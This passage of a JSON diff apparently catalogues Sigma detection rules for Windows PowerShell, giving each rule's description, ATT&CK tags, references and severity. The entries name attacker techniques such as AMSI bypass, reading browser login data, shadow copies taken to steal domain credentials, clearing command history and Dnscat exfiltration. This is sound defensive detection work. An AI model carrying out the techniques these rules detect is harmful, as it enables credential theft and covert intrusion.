from remote systems by querying for information over the network.", + "uuid": "aff815cc-e400-4bf0-a47a-5d8a2407d4e1", + "value": "Use Get-NetTCPConnection", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_get_nettcpconnection.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049" + ], + "creation_date": "2021/12/10", + "filename": "posh_pm_susp_get_nettcpconnection.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell invocation command parameters", + "uuid": "bbb80e91-5746-4fbe-8898-122e2cafdbf4", + "value": "Suspicious PowerShell Invocations - Generic", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_generic.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/12", + "filename": "posh_pm_susp_invocation_generic.yml", + "author": "Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Very special / sneaky PowerShell scripts" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell invocation command parameters", + "uuid": "8ff28fdd-e2fa-4dfa-aeda-ef3d61c62090", + "value": "Suspicious PowerShell Invocations - Specific", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_specific.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_pm_susp_invocation_specific.yml", + "author": "Florian Roth (rule), Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", + "uuid": "cef24b90-dddc-4ae1-a09a-8764872f69fc", + "value": "Suspicious Get Local Groups Information", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_local_group_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2021/12/12", + "filename": "posh_pm_susp_local_group_reco.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Administrator script" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "The Reset-ComputerMachinePassword cmdlet changes the computer account password that the computers use to authenticate to the domain controllers in the domain.\nYou can use it to reset the password of the local computer.\n", + "uuid": "e3818659-5016-4811-a73c-dde4679169d2", + "value": "Suspicious Computer Machine Password by PowerShell", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/reset-computermachinepassword?view=powershell-5.1", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_reset_computermachinepassword.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2022/02/21", + "filename": "posh_pm_susp_reset_computermachinepassword.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrator PowerShell scripts" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and\nto identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n", + "uuid": "6942bd25-5970-40ab-af49-944247103358", + "value": "Suspicious Get Information for SMB Share", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_smb_share_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2021/12/15", + "filename": "posh_pm_susp_smb_share_reco.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Administrator script" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", + "uuid": "daf7eb81-35fd-410d-9d7a-657837e602bb", + "value": "Zip A Folder With PowerShell For Staging In Temp", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_zip_compress.yml" + ], + "tags": [ + "attack.collection", + "attack.t1074.001" + ], + "creation_date": "2021/07/20", + "filename": "posh_pm_susp_zip_compress.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", + "uuid": "fe5ce7eb-dad8-467c-84a9-31ec23bd644a", + "value": "SyncAppvPublishingServer Execution to Bypass Powershell Restriction", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/05", + "filename": "posh_pm_syncappvpublishingserver_exe.yml", + "author": "Ensar \u015eamil, @sblmsrsn, OSCD Community", + "level": "medium", + "falsepositive": [ + "App-V clients" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detecting use WinAPI Functions in PowerShell", + "uuid": "03d83090-8cba-44a0-b02f-0b756a050306", + "value": "Accessing WinAPI in PowerShell", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_accessing_win_api.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.t1106" + ], + "creation_date": "2020/10/06", + "filename": "posh_ps_accessing_win_api.yml", + "author": "Nikita Nazarov, oscd.community, Tim Shelton", + "level": "high", + "falsepositive": [ + "Carbon PowerShell Module (https://github.com/webmd-health-services/Carbon)" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.\nWeb browsers typically store the credentials in an encrypted format within a credential store.\n", + "uuid": "fc028194-969d-4122-8abe-0470d5b8f12f", + "value": "Access to Browser Login Data", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_access_to_browser_login_data.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.003" + ], + "creation_date": "2022/01/30", + "filename": "posh_ps_access_to_browser_login_data.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects powershell scripts that adds a Name Resolution Policy Table (NRPT) rule for the specified namespace.\nThis will bypass the default DNS server and uses a specified server for answering the query.\n", + "uuid": "4368354e-1797-463c-bc39-a309effbe8d7", + "value": "Powershell Add Name Resolution Policy Table Rule", + "meta": { + "refs": [ + "https://twitter.com/NathanMcNulty/status/1569497348841287681", + "https://docs.microsoft.com/en-us/powershell/module/dnsclient/add-dnsclientnrptrule?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_add_dnsclient_rule.yml" + ], + "tags": [ + "attack.impact", + "attack.t1565" + ], + "creation_date": "2021/09/14", + "filename": "posh_ps_add_dnsclient_rule.yml", + "author": "Borna Talebi", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7", + "uuid": "bf72941a-cba0-41ea-b18c-9aca3925690d", + "value": "PowerShell ADRecon Execution", + "meta": { + "refs": [ + "https://github.com/sense-of-security/ADRecon/blob/11881a24e9c8b207f31b56846809ce1fb189bcc9/ADRecon.ps1", + "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_adrecon_execution.yml" + ], + "tags": [ + "attack.discovery", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2021/07/16", + "filename": "posh_ps_adrecon_execution.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts", + "uuid": "e0d6c087-2d1c-47fd-8799-3904103c5a98", + "value": "AMSI Bypass Pattern Assembly GetType", + "meta": { + "refs": [ + "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/", + "https://twitter.com/cyb3rops/status/1588574518057979905?s=20&t=A7hh93ONM7ni1Rj1jO5OaA", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_amsi_bypass_pattern_nov22.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.execution" + ], + "creation_date": "2022/11/09", + "filename": "posh_ps_amsi_bypass_pattern_nov22.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Silence EmpireDNSAgent as described in the Group-IP report", + "uuid": "3ceb2083-a27f-449a-be33-14ec1b7cc973", + "value": "Silence.EDA Detection", + "meta": { + "refs": [ + "https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_apt_silence_eda.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.command_and_control", + "attack.t1071.004", + "attack.t1572", + "attack.impact", + "attack.t1529", + "attack.g0091", + "attack.s0363" + ], + "creation_date": "2019/11/01", + "filename": "posh_ps_apt_silence_eda.yml", + "author": "Alina Stepchenkova, Group-IB, oscd.community", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication.", + "uuid": "96c982fe-3d08-4df4-bed2-eb14e02f21c8", + "value": "Get-ADUser Enumeration Using UserAccountControl Flags", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md#atomic-test-11---get-aduser-enumeration-using-useraccountcontrol-flags-as-rep-roasting", + "https://shellgeek.com/useraccountcontrol-flags-to-manipulate-properties/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_as_rep_roasting.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2022/03/17", + "filename": "posh_ps_as_rep_roasting.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", + "uuid": "c1dda054-d638-4c16-afc8-53e007f3fbc5", + "value": "Automated Collection Command PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_automated_collection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1119" + ], + "creation_date": "2021/07/28", + "filename": "posh_ps_automated_collection.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound", + "uuid": "83083ac6-1816-4e76-97d7-59af9a9ae46e", + "value": "AzureHound PowerShell Commands", + "meta": { + "refs": [ + "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", + "https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_azurehound_commands.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482", + "attack.t1087", + "attack.t1087.001", + "attack.t1087.002", + "attack.t1069.001", + "attack.t1069.002", + "attack.t1069" + ], + "creation_date": "2021/10/23", + "filename": "posh_ps_azurehound_commands.yml", + "author": "Austin Songer (@austinsonger)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation.\nScreen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations\n", + "uuid": "d4a11f63-2390-411c-9adf-d791fd152830", + "value": "Windows Screen Capture with CopyFromScreen", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-6---windows-screen-capture-copyfromscreen", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_capture_screenshots.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ], + "creation_date": "2021/12/28", + "filename": "posh_ps_capture_screenshots.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.", + "uuid": "bde47d4b-9987-405c-94c7-b080410e8ea7", + "value": "Clearing Windows Console History", + "meta": { + "refs": [ + "https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/", + "https://www.shellhacks.com/clear-history-powershell/", + "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clearing_windows_console_history.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.t1070.003" + ], + "creation_date": "2021/11/25", + "filename": "posh_ps_clearing_windows_console_history.yml", + "author": "Austin Songer @austinsonger", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects keywords that could indicate clearing PowerShell history", + "uuid": "26b692dc-1722-49b2-b496-a8258aa6371d", + "value": "Clear PowerShell History", + "meta": { + "refs": [ + "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clear_powershell_history.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ], + "creation_date": "2022/01/25", + "filename": "posh_ps_clear_powershell_history.yml", + "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", + "uuid": "4cd29327-685a-460e-9dac-c3ab96e549dc", + "value": "Execution via CL_Invocation.ps1", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", + "https://twitter.com/bohops/status/948061991012327424", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/14", + "filename": "posh_ps_cl_invocation_lolscript.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", + "uuid": "f588e69b-0750-46bb-8f87-0e9320d57536", + "value": "Execution via CL_Invocation.ps1 (2 Lines)", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", + "https://twitter.com/bohops/status/948061991012327424", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript_count.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/14", + "filename": "posh_ps_cl_invocation_lolscript_count.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module", + "uuid": "39776c99-1c7b-4ba0-b5aa-641525eee1a4", + "value": "Execution via CL_Mutexverifiers.ps1", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", + "https://twitter.com/pabraeken/status/995111125447577600", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/14", + "filename": "posh_ps_cl_mutexverifiers_lolscript.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module", + "uuid": "6609c444-9670-4eab-9636-fe4755a851ce", + "value": "Execution via CL_Mutexverifiers.ps1 (2 Lines)", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", + "https://twitter.com/pabraeken/status/995111125447577600", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript_count.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/14", + "filename": "posh_ps_cl_mutexverifiers_lolscript_count.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code", + "uuid": "363eccc0-279a-4ccf-a3ab-24c2e63b11fb", + "value": "Powershell Create Scheduled Task", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-4---powershell-cmdlet-scheduled-task", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-6---wmi-invoke-cimmethod-scheduled-task", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cmdlet_scheduled_task.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.005" + ], + "creation_date": "2021/12/28", + "filename": "posh_ps_cmdlet_scheduled_task.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Uses PowerShell to install/copy a a file into a system directory such as \"System32\" or \"SysWOW64\"", + "uuid": "63bf8794-9917-45bc-88dd-e1b5abc0ecfd", + "value": "Powershell Install a DLL in System Directory", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1556.002/T1556.002.md#atomic-test-1---install-and-register-password-filter-dll", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_copy_item_system_directory.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1556.002" + ], + "creation_date": "2021/12/27", + "filename": "posh_ps_copy_item_system_directory.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR.\nThe COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR).\nThese profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.\n(Citation: Microsoft Profiling Mar 2017)\n(Citation: Microsoft COR_PROFILER Feb 2013)\n", + "uuid": "23590215-4702-4a70-8805-8dc9e58314a2", + "value": "Registry-Free Process Scope COR_PROFILER", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.012/T1574.012.md#atomic-test-3---registry-free-process-scope-cor_profiler", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cor_profiler.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.012" + ], + "creation_date": "2021/12/30", + "filename": "posh_ps_cor_profiler.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a local user via PowerShell", + "uuid": "243de76f-4725-4f2e-8225-a8a69b15ad61", + "value": "PowerShell Create Local User", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_local_user.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.persistence", + "attack.t1136.001" + ], + "creation_date": "2020/04/11", + "filename": "posh_ps_create_local_user.yml", + "author": "@ROxPinTeddy", + "level": "medium", + "falsepositive": [ + "Legitimate user creation" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information", + "uuid": "afd12fed-b0ec-45c9-a13d-aa86625dac81", + "value": "Create Volume Shadow Copy with Powershell", + "meta": { + "refs": [ + "https://attack.mitre.org/datasources/DS0005/", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_volume_shadow_copy.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2022/01/12", + "filename": "posh_ps_create_volume_shadow_copy.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", + "uuid": "6dc5d284-69ea-42cf-9311-fb1c3932a69a", + "value": "Data Compressed - PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560/T1560.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_data_compressed.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1560" + ], + "creation_date": "2019/10/21", + "filename": "posh_ps_data_compressed.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "low", + "falsepositive": [ + "Highly likely if archive operations are done via PowerShell." + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments.\nThis may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox\n", + "uuid": "d93129cd-1ee0-479f-bc03-ca6f129882e3", + "value": "Powershell Detect Virtualization Environment", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1497.001/T1497.001.md", + "https://techgenix.com/malicious-powershell-scripts-evade-detection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_detect_vm_env.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1497.001" + ], + "creation_date": "2021/08/03", + "filename": "posh_ps_detect_vm_env.yml", + "author": "frack113, Duc.Le-GTSC", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Enumerates Active Directory to determine computers that are joined to the domain", + "uuid": "1f6399cf-2c80-4924-ace1-6fcff3393480", + "value": "DirectorySearcher Powershell Exploitation", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-15---enumerate-domain-computers-within-active-directory-using-directorysearcher", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directorysearcher.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ], + "creation_date": "2022/02/12", + "filename": "posh_ps_directorysearcher.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may create a domain account to maintain access to victim systems.\nDomain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain..\n", + "uuid": "b29a93fb-087c-4b5b-a84d-ee3309e69d08", + "value": "Manipulation of User Computer or Group Security Principals Across AD", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.002/T1136.002.md#atomic-test-3---create-a-new-domain-account-using-powershell", + "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.accountmanagement?view=dotnet-plat-ext-6.0", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directoryservices_accountmanagement.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.002" + ], + "creation_date": "2021/12/28", + "filename": "posh_ps_directoryservices_accountmanagement.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects scripts or commands that disabled the Powershell command history by removing psreadline module", + "uuid": "602f5669-6927-4688-84db-0d4b7afb2150", + "value": "Disable Powershell Command History", + "meta": { + "refs": [ + "https://twitter.com/DissectMalware/status/1062879286749773824", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_psreadline_command_history.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ], + "creation_date": "2022/08/21", + "filename": "posh_ps_disable_psreadline_command_history.yml", + "author": "Ali Alwashali", + "level": "high", + "falsepositive": [ + "Legitimate script that disables the command history" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detect built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", + "uuid": "99c4658d-2c5e-4d87-828d-7c066ca537c3", + "value": "Disable-WindowsOptionalFeature Command PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md", + "https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_windowsoptionalfeature.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/09/10", + "filename": "posh_ps_disable_windowsoptionalfeature.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Dnscat exfiltration tool execution", + "uuid": "a6d67db4-6220-436d-8afc-f3842fe05d43", + "value": "Dnscat Execution", 